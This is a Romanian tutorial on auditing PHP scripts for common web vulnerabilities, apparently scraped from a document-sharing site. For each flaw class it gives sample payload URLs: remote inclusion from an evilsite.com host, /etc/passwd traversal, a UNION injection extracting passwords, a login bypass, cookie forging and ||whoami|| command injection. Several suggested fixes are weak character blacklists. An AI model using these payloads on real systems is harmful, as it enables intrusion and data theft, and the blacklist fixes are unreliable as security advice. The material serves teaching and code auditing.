tutorial-vulnerabilitati php

Upload: altusarya

Post on 08-Apr-2018

281 views

Category:

Documents


0 download

TRANSCRIPT

  • 8/7/2019 Tutorial-vulnerabilitati php

    1/22

    [Tutorial] Gasirea vulnerabilitatilor in scripturi PHPCode:

    Nume : Gasirea vulnerabilitatilor in scripturi PHP (cu exemple)Autor : SirGodEmail : [email protected] : www.twitter.com/SirGodContinut :

    1) Despre

    2) Cateva lucruri3) Remote File Inclusion

    3.0 - Exemplu de baza3.1 - Exemplu simplu3.2 - Cum sa fixezi

    4) Local File Inclusion4.0 - Exemplu de baza4.1 - Exemplu simplu4.2 - Cum sa fixezi

    5) Local File Disclosure/Download5.0 - Exemplu de baza

    5.1 - Exemplu simplu5.2 - Cum sa fixezi

    6) SQL Injection6.0 - Exemplu de baza6.1 - Exemplu simplu6.2 - SQL Login Bypass6.3 - Cum sa fixezi

    7) Insecure Cookie Handling7.0 - Exemplu de baza7.1 - Exemplu simplu7.2 - Cum sa fixezi

    8) Remote Command Execution8.0 - Exemplu de baza8.1 - Exemplu simplu8.2 - Exemplu avansat8.3 - Cum sa fixezi

    9) Remote Code Execution9.0 - Exemplu de baza9.1 - Exemplu simplu9.2 - Cum sa fixezi

    10) Cross-Site Scripting10.0 - Exemplu de baza

    10.1 - Alt example10.2 - Exemplu simplu10.3 - Cum sa fixezi

    11) Authentication Bypass11.0 - Exemplu de baza11.1 - Prin intemediul unei variabile de login11.2 - Admin CP neprotejat11.3 - Cum sa fixezi

    12) Insecure Permissions12.0 - Exemplu de baza12.1 - Citire users/passwords

  • 8/7/2019 Tutorial-vulnerabilitati php

    2/22

    12.2 - Descarcare backup-uri12.3 - Fisierele INC12.4 - Cum sa fixezi

    13) Cross Site Request Forgery13.0 - Exemplu de baza13.1 - Exemplu simplu13.2 - Cum sa fixezi

    14) Salutari

    1) In acest tutorial va voi arata cum sa gasiti vulnerabilitati in scripturi php.Nu va voi explica cumsa exploatati vulnerabilitatile,este destul de simplu si puteti gasii informatii pe internet.Toateexemplele in afara de exemplul de baza(creat de mine pentru a va da un exemplu simplu) al fiecareicategorii au fost gasite de mine in diferite scripturi.

    2) Prima data,instalati Apache,PHP si MySQL pe computerul vostru.In plus,puteti instala phpMyAdmin.Puteti instala WAMP,le contine pe toate.Majoritatea vulnerabilitatilor au nevoie de conditii specialepentru a putea fi exploatate.De aceea va trebuii sa setam corespunzator fisierul de configurare PHP(php.ini).O sa va arat ce configuratie folosesc eu si de ce:

    safe_mode = off ( restrictioneaza o gramada de chestii )disabled_functions = N/A ( nici una,le vrem pe toate )register_globals = on ( putem seta variabile prin request )allow_url_include = on ( pentru lfi/rfi )allow_url_fopen = on ( pentru lfi/rfi )magic_quotes_gpc = off ( escapeaza ' " \ si NUL cu un backslash si nu vrem asta )short_tag_open = on ( unele scripturi folosesc short tags )file_uploads = on ( vrem sa putem uploada )display_errors = on ( vrem sa vedem erorile scriptului,poate niste variabile nedeclarate? )

    Cum sa incepeti : Prima data,creati o baza de date care va fi folosita de diferite scripturi.Instalatiscriptul pe localhost si incepeti auditul codului php.Daca credeti ca ati gasit ceva,deschideti browserulsi verificati,poate ati gresit.

    3) Remote File Inclusion

    - Sfaturi : Puteti folosii trucul cu NULLBYTE si ?Puteti folosii HTTPS si FTP pentru a trece de filtre (http filtrat)

    In php sunt 4 functii prin intermediul carora se poate include cod php.

    require - require() este identic cu include() doar ca in caz de eroare va produce o eroare fatala E_ERROR.require_once - este identic cu require() cu exceptia ca PHP va verifica daca fisierul este deja inclus,si

    daca este,nu il va include din nou.include - include si evalueaza fisierul specificat.include_once - include si evalueaza fisierul specificat pe durata executiei scriptului.

    3.0 - Exemplu de baza

  • 8/7/2019 Tutorial-vulnerabilitati php

    3/22

    - Sfaturi : unele scripturi nu accepta "http" in variabile,"http" este interzis,astfelputeti folosi "https" sau "ftp".

    - Cod aflat in test.php

    ----------------------------------------------------------------------------------------------

    - Daca accesam pagina vom primii dinste erori si avertizari(nu le-am copiat) :

    Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

    - Putem sa vedem ca variabila "pagina" este nedeclarata.Putem seta ce valoare vrem variabilei "pagina".Exemp

    http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

    Acum o sa va arat de ce unii folosesc ? sau %00 dupa link-ul catre scriptul malitios.

    # "%00"

    - Cod aflat in test.php

    -----------------------------------------------

    -----------------------------------------------

    - Daca facem urmatoarea cerere

    http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

    Nu va merge deoarece scriptul va incerca sa includa http://evilsite.com/evilscript.txt.php

    Deci vom adauga un NULLBYTE(%00) si tot ce se afla dupa NULLBYTE nu va fi luat in considerare.E

    Exemplu :

    http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00

    Scriptul va include cu succes codul malitios si nu va lua in considerare ce se afla dupa NULLBYTE.

    # "?"

    - Cod aflat in test.php

    -----------------------------------------------

  • 8/7/2019 Tutorial-vulnerabilitati php

    4/22

    -----------------------------------------------

    Si logged=1 va deveni variabila.Dar mai indicat este sa folositi NULLBYTE.Exemplu :

    http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1

    Scriptul malitios va fi inclus cu succes.

    3.1 - Exemplu simplu

    Acum un exemplu dintr-un script.

    - Cod aflat in index.php

    ----------------------------------------------------if (isset($_REQUEST["main_content"])){

    $main_content = $_REQUEST["main_content"];} else if (isset($_SESSION["main_content"])){

    $main_content = $_SESSION["main_content"];}.......................etc..................

    ob_start();require_once($main_content);

    ----------------------------------------------------

    Putem vedea ca variabila "main_content" este ceruta prin metoda $_REQUEST.Atacatorul poateseta variabilei ce valoare doreste.Mai jos,dupa variabila "main_content" se afla include,fisierulspecifica de atacator prin intermediul variabilei este inclus.Deci daca facem urmatoarea cerere :

    http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt

    Scriptul malitios va fi inclus cu succes.

    3.2 - Cum sa fixezi

    Metoda simpla : Nu permite caractere speciale in variabile or filter the slash "/".Alta metoda : Filtreaza "http", "https" , "ftp" si "smb".

    4) Local File Inclusion

    - Sfaturi : Puteti folosi trucul cu NULLBYTE si ?../ inseamna un director inapoi

    Pe serverele Windows puteti folosi "..\" in loc de "../". "..\" va devenii "..%5C" (urlencoded).

    Aceleasi functii care iti permit sa incluzi (include,include_once,require,require_once) .

  • 8/7/2019 Tutorial-vulnerabilitati php

    5/22

    4.0 - Exemplu de baza

    - Cod aflat in test.php

    ----------------------------------------------------------------------

    Acum, nu putem sa includem scriptul nostru malitios pentru ca nu putem include fisiere carenu sunt aflate pe server.Putem include doar fisiere locale.Daca facem urmatoarea cerere :

    http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

    Scriptul va include "etc/passwd" cu succes.

    Puteti folosii %00 si ? .Aceeasi poveste.

    4.1 - Exemplu simplu

    - Cod aflat in install/install.php

    -------------------------------------if(empty($_GET["url"]))

    $url = 'step_welcome.php';else$url = $_GET["url"];

    .............etc.............

    -------------------------------------

    Putem observa ca variabila "url" este injectabila.Daca variabila "url" nu estesetata(este goala) scriptul va include "step_welcome.php".Altfel va includefisierul cerut de atacator prin intermediul variabilei.

    Daca facem urmatoarea cerere :

    http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd

    Fisierul "etc/passwd" va fi inclus cu succes.

    4.2 - Cum sa fixezi

    Simplu : Nu permite caractere speciale in variabile.Filtreaza "." .

  • 8/7/2019 Tutorial-vulnerabilitati php

    6/22

    Alta metoda : Filtreaza "/", "\" si "." .

    5) Local File Disclosure/Download

    - Sfaturi : Prin intermediul acestei vulnerabilitati putem citii continutul variabilelor,nu il putem include.

    Cateva functii care permit citirea fisierelor :

    file_get_contents Citeste intregul fisier intr-un stringreadfile Afiseaza continutul unui fisierefile Citeste un fisier intr-un vectorfopen Deschide un fisier sau un URLhighlight_file Formateaza sintaxa unui fisier.Afiseaza si returneaza sintaxa

    formatata a codului continut in fisier folosind culori definitein formaterul pentru sintaxa din PHP.

    show_source Pseudonimul lui highlight_file()

    5.0 - Exemplu de baza

    - Cod aflat in test.php

    --------------------------------------

    --------------------------------------

    Functia readfile() va citii continutul fisierului specificat.Daca facem urmatoarea cerere :

    http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

    Continutul fisierului "etc/passwd" va fi afisat.

    5.1 - Exemplu simplu

    - Cod aflat in download.php

    -----------------------------------------------------------------------------------$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];header("Pragma: public");header("Expires: 0");header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

    header("Content-Type: application/force-download");header( "Content-Disposition: attachment; filename=".basename($file));

  • 8/7/2019 Tutorial-vulnerabilitati php

    7/22

    //header( "Content-Description: File Transfer");@readfile($file);die();-----------------------------------------------------------------------------------

    Variabila "file" nu este securizata.Putem observa in prima linie ca este ceruta prin metoda$_REQUEST.Si continutul fisierului este afisat prin intermediul functiei readfile().Deci putemvedea continutul unui fisier arbitrar.

    Daca facem urmatoarea cerere :

    http://127.0.0.1/download.php?file=../../../../../../etc/passwd

    Putem citii cu succes fisierul "etc/passwd".

    5.2 - Cum sa fixezi

    Metoda simpla : Nu permite caractere speciale in variabile.Filtreaza "." .

    Alta metoda : Filtreaza "/" , "\" si "." .

    6) SQL Injection

    - Sfaturi : Daca utilizatorul MySQL are drepturi,putem citii fisiere.Daca utilizatorul MySQL are drepturi, gasim un director cu permisiuni de scriere si daca

    magic_quotes_gpc = offputem uploada codul nostru intr-un fisier.

    6.0 - Exemplu de baza

    - Cod aflat in test.php

    ----------------------------------------------------------------------------------

  • 8/7/2019 Tutorial-vulnerabilitati php

    8/22

    - Cod aflat in house/listing_view.php

    -----------------------------------------------------------------------------------------------------------------------------$id = $_GET['itemnr'];

    require_once($home."mysqlinfo.php");$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from

    Rentals where id=$id";

    $result = mysql_query($query);if(mysql_num_rows($result)){$r = mysql_fetch_array($result);-----------------------------------------------------------------------------------------------------------------------------

    Putem observa ca variabila "id" ia valoarea setata pentru "itemnr" si nu este filtrata in nici un fel.Deci putem injecta codul nostru.Sa facem o cerere :

    http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--

    Si vom extrage un email si o parola din tabelul users.

    6.2 - SQL Injection Login Bypass

    - Cod aflat in /admin/login.php

    ------------------------------------------------------------------------------------------------------------------------------$postbruger = $_POST['username'];

    $postpass = md5($_POST['password']);

    $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' ANpassword = '$postpass'")

    or die("

    " . mysql_error() . "

    \n");------------------------------------------------------------------------------------------------------------------------------

    Variabilele nu sunt verificate corespunzator.Putem trece de acest form de logare.Sa injectam urmatorul usernsi

    urmatoarea parola :

    username : admin ' or ' 1=1password : sirgod

    Ne-am logat cu succes.De ce?Priviti cu atentie la interogarea SQL :

    ---------------------------------------------------------------------------------------------------------------------------------$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 A

    password = 'sirgod'")---------------------------------------------------------------------------------------------------------------------------------

    Am trecut de login.Username-ul trebuie sa fie unul existent.

  • 8/7/2019 Tutorial-vulnerabilitati php

    9/22

    6.3 - Cum sa fixezi

    Metoda simpla : Nu permite caractere speciale in variabile.Pentru variabile numericefoloseste (int) ,examplu $id=(int) $_GET['id'];

    Alta metoda : Pentru variabilele non-numerice : filtreaza toate caracterele speciale folositein injectiile SQLSQLI : - , . ( ) ' " _ + / *

    7) Insecure Cooke Handling

    - Sfaturi : Scrie codul in URL-bar,nu utiliza un cookie editor pentru asta.

    7.0 - Exemplu de baza

    - Cod aflat in test.php

    ---------------------------------------------------------------if($_POST['password'] == $thepass) {setcookie("is_user_logged","1");} else { die("Login failed!"); }............ etc .................if($_COOKIE['is_user_logged']=="1"){ include "admin.php"; else { die('not logged'); }---------------------------------------------------------------

    Ceva interesant aici.Daca atribuim valoarea "1" variabilei "is_user_logged"salvata in cookie vom fi logati.Exemplu :

    javascript:document.cookie = "is_user_logged=1; path=/";

    Suntem logati,trecem de verificare si putem accesa panoul de admin.

    7.1 - Exemplu simplu

    - Cod aflat in admin.php

    ----------------------------------------------------------------if ($_COOKIE[PHPMYBCAdmin] == '') {if (!$_POST[login] == 'login') {die("Please Login:
    ");} elseif($_POST[password] == $bcadminpass) {setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);header("Location: admin.php"); } else { die("Incorrect"); }}----------------------------------------------------------------

  • 8/7/2019 Tutorial-vulnerabilitati php

    10/22

    Codul arata exploatabil.Putem seta valori variabilelor aflate in cookiepentru a trece de logare si a pacali scriptul ca ne-am logat deja.Exemplu :

    javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700;path=/";

    Ce este 1246371700? Este time() + 360 .

    7.2 - Cum sa fixezi

    Metoda simpla : Cea mai simpla si eficienta cale : folositi SESIUNI .

    8) Remote Command Execution

    - Sfaturi : Daca un script foloseste exec() nu vom putea vedea rezultatul comenzii(dar comanda este

    executata) pana cand rezultatul nu este printat din script.Putem folosii operatorul OR ( || ) daca scriptul executa mai mult de o comanda.

    In PHP exista cateva comenzi prin intermediul carora putem executa comenzi :

    exec Executa un program externpassthru Executa un program extern si afiseaza rezultatul neprelucratshell_exec Executa comanda in shell si returneaza rezultatul intreg ca un stringsystem Executa un program extern si afiseaza rezultatul

    8.0 - Exemplu de baza

    - Cod aflat in test.php

    ------------------------------------------------------------------

    Daca facem urmatoarea cerere :

    http://127.0.0.1/test.php?cmd=whoami

    Comanda va fi executata si rezultatul va fi afisat.

    8.1 - Exemplu simplu

    - Cod aflat in from dig.php

  • 8/7/2019 Tutorial-vulnerabilitati php

    11/22

    -------------------------------------------------------------------------------------------$status = $_GET['status'];$ns = $_GET['ns'];$host = $_GET['host'];$query_type = $_GET['query_type']; // ANY, MX, A , etc.$ip = $_SERVER['REMOTE_ADDR'];$self = $_SERVER['PHP_SELF'];........................ etc ........................

    $host = trim($host);$host = strtolower($host);echo("Executing : dig @$ns $host $query_type
    ");echo '';system ("dig @$ns $host $query_type");

    -------------------------------------------------------------------------------------------

    Variabila "ns" nu este filtrata si atacatorul poate specifica orice valoare.Un atacator poate folosiorice comanda prin intermediul acestei variabile.

    Sa facem o cerere :

    http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging

    Injectia nu va functiona.De ce?Comanda executata va fi "dig whoami sirgod.com NS" si nuva functiona desigur.Sa incercam in alt fel.Avem operatorul OR (||) si il vom folosipentru a "separa" comenzile.Exemplu :

    http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging

    Comanda noastra va fi executata.Comanda va devenii "dig ||whoami|| sirgod.net NS" .

    8.2 - Exemplu avansat

    - Cod aflat in add_reg.php

    -------------------------------------------------------$user = $_POST['user'];$pass1 = $_POST['pass1'];$pass2 = $_POST['pass2'];

    $email1 = $_POST['email1'];$email2 = $_POST['email2'];$location = $_POST['location'];$url = $_POST['url'];$filename = "./sites/".$user.".php";...................etc......................$html = "

  • 8/7/2019 Tutorial-vulnerabilitati php

    12/22

    \$location = \"$location\";\$url = \"$url\";?>";$fp = fopen($filename, 'a+');fputs($fp, $html) or die("Could not open file!");-------------------------------------------------------

    Putem observa ca scriptul creaza un fisier php in folderul "sites" (numelenostru.php) .Scriptul salveaza toate datele userului in fisierul acela deci noi vom putea injecta

    codul malitios intr-una din acele varaibile.Eu am ales variabila "location".

    Daca ne vom inregistra ca un user cu locatia (setam valoarea variabilei "location") :

    codul aflat in /site/numelenostru.php va devenii :

    -------------------------------------------------

  • 8/7/2019 Tutorial-vulnerabilitati php

    13/22

    -------------------------------$location = "";?>

  • 8/7/2019 Tutorial-vulnerabilitati php

    14/22

    Si vom obtine rezultatul codului PHP injectat de catre noi.

    9.1 - Exemplu simplu

    - Cod aflat in system/services/init.php

    ------------------------------------------------

    $conf = array_merge($conf,$confweb);}@eval(stripslashes($_REQUEST['anticode']));if ( $_SERVER['HTTP_CLIENT_IP'] )

    ------------------------------------------------

    Putem vedea ca valoarea variabilei"anticode" este ceruta prin metoda $_REQUESTsi coderul a "securizat" variabila cu ajutorul functiei "stripslashes" care estenefolositoare in cazul nostru,deoarece nu ne trebuie slash-uri pentru aexecuta codul nostru php decat daca vrem sa includem un URL.Exemplu :

    http://127.0.0.1/test.php?anticode=phpinfo();

    Frumos,injectia a avut loc cu succes,rezultatul codului php ne este afisat.Fara include pentru ca slash-urile sunt filtrate dar putem executa comenziicu ajutorul functiei system().

    9.2 - Cum sa fixezi

    Metoda simpla : Nu permiteti ";" si codul php va devenii invalid.

    Alta metoda : Nu permiteti caractere speciale ca "(" sau ")" etc.

    10) Cross-Site Scripting

    Sfaturi : Puteti folosii o multime de vectori,puteti incerca o gramada de metodede a trece peste protectii,ii puteti puteti gasii pe internet.

    10.0 - Exemplu de baza

    - Cod aflat in test.php

    ------------------------------------------------------------------

  • 8/7/2019 Tutorial-vulnerabilitati php

    15/22

    Inputul nu este filtrat,un atacator poate injecta cod JavaScript.Exemplu :

    http://127.0.0.1/test.php?name=alert("XSS")

    Un popup cu mesajul XSS va fi afisat.Codul JavaScript a fost executat cu succes.

    10.1 - Alt exemplu

    - Cod aflat in test.php

    --------------------------------------------------------------------------------------

    Nu este un exemplu avansat,doar putin mai complicat ca primul.

    http://127.0.0.1/test.php?name=">alert(String.fromCharCode(88,83,83))

    De ce am scris codul JavaScript asa?Folosim " pentru a inchide " de la atributul "name"al tagului "table" si > pentru a inchide tagul "table".De ce String.fromCharCode?Pentruca vrem sa trecem de addslashes().Injectia a avut loc cu succes.

    10.2 - Exemplu simplu

    - Cod aflat in modules.php

    ---------------------------------------------------------------------------if (isset($name)) {.................... etc................} else {die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");---------------------------------------------------------------------------

    Variabila "name" este injectabila,inputul nu este filtrat deci putem injectacu usurinta codul nostru JavaScript.Exemplu :

    http://127.0.0.1/test.php?name=alert("XSS")

    10.3 - Cum sa fixezi

    Metoda simpla : Folositi functiile htmlentities() sau htmlspecialchars() .Exemplu : $name=htmlentities($_GET['name']);

    Alta metoda : Filtreaza toate caracterele speciale folosite la XSS( o multime ).Cea mai simpla metoda este prima.

  • 8/7/2019 Tutorial-vulnerabilitati php

    16/22

    11) Authentication Bypass

    - Sfaturi : Uitati-va cu atentie in scripturi,in foldere administrative,poate nu sunt protejate,si cautati variabile nedefinite ca

    "login" sau "auth".

    11.0 - Exemplu de baza

    Va voi prezenta un exemplu simplu.Veti vedea cum sa treceti de login prinmetoda "variabilei de login".

    - Cod aflat in test.php

    ------------------------------------------------------------------

    Aici avem nevoie de register_globals = on.Daca setam variabilei"logged" valoarea 1 conditia va devenii adevarata si vom fi logati.Exemplu :

    http://127.0.0.1/test/php?logged=1

    Si ne-am logat cu succes.

    11.1 - Prin intemediul unei variabile de login

    - Cod aflat in login.php

    ------------------------------------------------------------------------------------if ($login_ok){$_SESSION['loggato'] = true;echo "

    $txt_pass_ok

    ";echo"$txt_view_entry |$txt_delete-$txt_edit | $txt_install";}------------------------------------------------------------------------------------
  • 8/7/2019 Tutorial-vulnerabilitati php

    17/22

    Sa vedem.Daca valoarea variabilei "login_ok" este TRUE ( 1 ) scriptul ne va seta o sesiunecare spune scriptului ca suntem deja logati.Deci sa setam valoarea TRUE variabilei "login_ok".Exemplu :

    http://127.0.0.1/login.php?login_ok=1

    Si suntem logati.

    11.2 - Admin CP neprotejat

    Poate nu va vine sa credeti dar in unele scripturi panoul de controlal administratorului nu este protejat in nici un fel : fara logare,fara .htaccess, nimic.Si simplu accesam panoul de admin si preluamcontrolul asupra site-ului.Exemplu :

    http://127.0.0.1/admin/files.php

    Am accesat panoul de control cu o simpla cerere.

    11.3 - Cum sa fixezi

    - Variabila de login : Folositi un sistem de autentificare REAL,nu verificati daca logareaa avut loc in modul acesta.Exemplu :

    if($_SESSION['logged']==1) {echo 'Logged in'; }else { echo 'Not logged in';

    }

    - Admin CP neprotejat : Folositi un sistem de autentficarea sau .htaccess pentru apermite accesul pe baza de adresa IP sau .htpasswd pentru a cere

    un username si o parola pentru panoul de control.Exemplu :

    .htaccess :

    order deny, allowdeny from all

    allow from 127.0.0.1

    .htpasswd :

    AuthUserFile /the/path/.htpasswdAuthType BasicAuthName "Admin CP"Require valid-user

    and /the/path/.htpasswd

  • 8/7/2019 Tutorial-vulnerabilitati php

    18/22

    sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.

    12) Insecure Permissions

    Sfaturi : Uitati-va cu atentie in scripturi,verificati daca scriptulcere autentificare pentru a face diferite lucruri(e.g backup).Uitati-va dupa permisiuni nesigure,poate putem face lucruri

    administrative fara a fi logati ca admin.

    12.0 - Exemplu de baza

    Ne gandim la un script care lasa administratorul sa vada continutulbazei de date prin intermediul unui fisier plasat in folderul/admin .Acel fisier sa aiba numele : db_lookup.php .

    - Cod aflat in admin/db_lookup.php

    ----------------------------------------------------------------------------------------

    Sa ne gandim.Nu putem accesa folderul "protected" pentru caeste protejat de .htaccess.Dar sa ne uitam la fisierul acesta.Nu verifica daca suntem logati,nimica.Deci daca facem urmatoarea

    cerere :

    http://127.0.0.1/admin/db_lookup.php

    Putem vedea baza de date.Tineti minte,acesta este un exemplu creat de mine,nu unul real,dar puteti gasii vulnerabilitati de genul acesta in scripturi.

    12.1 - Citire users/passwords

    Da,unii programatori sunt de-a dreptul idioti.Salveaza utilizatorii siparolele in fisiere text,NEPROTEJATE.Un exemplu dintr-un script :

    http://127.0.0.1/userpwd.txt

    Si putem citii fisierul,utilizatorii si parolele lor se afla acolo.

    12.2 - Descarcare backup-uri

  • 8/7/2019 Tutorial-vulnerabilitati php

    19/22

    Unele scripturi au functia de backup al bazei de date.Unele sunt sigure,altele nu.O sa va arat un exemplu real :

    - Cod aflat in /adminpanel/phpmydump.php

    --------------------------------------------------------------------------------function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {$con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");$db=@mysql_select_db($dbname,$con) or die("Could not select db");

    .............................. etc ..........................mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);

    --------------------------------------------------------------------------------

    Dupa o gramada de cod,functia este apelata.Nu am copiat tot codul pentru ca esteurias.Am analizat scriptul,nu este necesar login,nu este nici o verificare,nimic.Deci daca accesam fisierul direct backup-ul bazei de date va incepe.Exemplu :

    http://127.0.0.1/adminpanel/phpmydump.php

    Acum avem backup-ul bazei de date salvat la noi pe computer.

    12.3 - Fisierele INC

    Unele scripturi salveaza date importante in fisiere INC.De obicei in fisiereleINC se afla cod PHP care contine datele de conexiune la baza de date.Fisierele INCpot fi vizualizate in browser,chiar daca contin cod PHP.Cu o simpla cerere vomavea aces la fisier.Exemplu :

    http://127.0.0.1/inc/mysql.inc

    Acum avem detaliile de conexiune la baza de date.

    12.4 - Cum sa fixezi

    - Exemplu de baza : Verificati daca administratorul este logat,daca nu,redirectionati.

    - Citire users/passwords : Salvati inregistrarile intr-o baza de date MySQL sauintr-un fisier/folder protejat.

    - Descarcare backup-uri : Verificati daca administratorul este logat,daca nu,redirectionati.

    - Fisierele INC : Salvati datele de conexiune in fisiere php sau protejatifolderul cu .htaccess .

    13) Cross Site Request Forgery

    - Sfaturi : Prin intermediul CSRF putem chiar schimba parola de administrator.

  • 8/7/2019 Tutorial-vulnerabilitati php

    20/22

    Poate fi folosit prin intermediul XSS,redirectionare.

    13.0 - Exemplu de baza

    - Cod aflat test.php

    -----------------------------------------

    -----------------------------------------

    In acest exemplu veti vedea ce este CSRF si cum functioneaza.In folderul"files" sunt salvate stirile scrise de un autor.Stirile sunt salvate

    in modul "news1.txt","news2.txt" etc.Administratorul poate sterge stirile.Stirile pe care vrea sa le stearga vor fi precizate prin intermediulvariabilei "news".Daca vrea sa stearga "news1.txt" valoarea variabilei"news" va fi "1".Nu putem executa asta fara permisiuni de administrator,scriptul verifica daca administratorul este logat.Daca facem urmatoareacerere :

    http://127.0.0.1/test.php?news=1

    Fisierul /news/news1.txt va fi sters.Scriptul sterge direct fisierul fara nicio avertizare.Putem folosi asta pentru a sterge un fisier.Tot ce trebuie sa facem

    este sa convingem adminul sa acceseze link-ul nostru si fisierul corespunzatorvalorii variabilei setate de noi va si sters.

    13.1 - Exemplu simplu

    Intr-un fel codurile de mai jos sunt incluse in index.php, nu voicopia aia toate incluziunile pentru ca sunt o gramada.

    - Cod aflat in includes/pages/admin.php

    --------------------------------------------------------------------if ($_GET['act'] == '') {include "includes/pages/admin/home.php";} else {include "includes/pages/admin/" . $_GET['act'] . ".php";

    --------------------------------------------------------------------

    Aici putem observa cum "includes/pages/admin/members.php" este inclusa in acest fisier.Daca valoarea variabilei "act" va fi egala cu "members" fisierul acesta va fi inclus.

  • 8/7/2019 Tutorial-vulnerabilitati php

    21/22

    - Cod aflat in includes/pages/admin/members.php

    ----------------------------------------------------------------------------------------------if ($_GET['func'] == 'delete') {$del_id = $_GET['id'];$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");while ($results2121 = mysql_fetch_array($result2121)) {

    $their_role = $results2121['ROLE'];}if ($their_role != '1') {

    mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error());

    ----------------------------------------------------------------------------------------------

    Putem observa ca daca valoarea variabilei "func" este egala cu "delete",scriptul va sterge din baza de date un user caruia ii corespunde ID-ul($id)specificat fara nici o avertizare.Exemplu :

    http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4

    Scriptul va verifica daca adminul este logat, deci daca vom putea pacali administratorulsa acceseze link-ul nostru,utilizatorul cu ID-ul specificat de noi in link va fi sters

    fara nici o avertizare.

    13.2 - Cum sa fixezi

    - Metoda simpla : Folositi token-uri.La fiecare login,generati un token random si

    salvati-l in sesiune.Cereti tokenul in URL pentru a executa comenziadministrative.Daca token-ul lipseste sau este incorect,nu executatiactiunile.Va voi arata un exemplu :

    --------------------------------------------------------------------------------------------------------------

    Cererea noastra va fi devenii :

    http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]

    Si cererea va fi corecta.

    - Alta metoda : Realizati confirmari complicate sau cereti o parola pentru a putea

  • 8/7/2019 Tutorial-vulnerabilitati php

    22/22

    executa comenzi administrative.

    14) Salutari

    Salutari membrilor www.insecurity.ro si www.h4cky0u.org.Daca aveti sugestii sau intrebari,trimiteti-mi un email.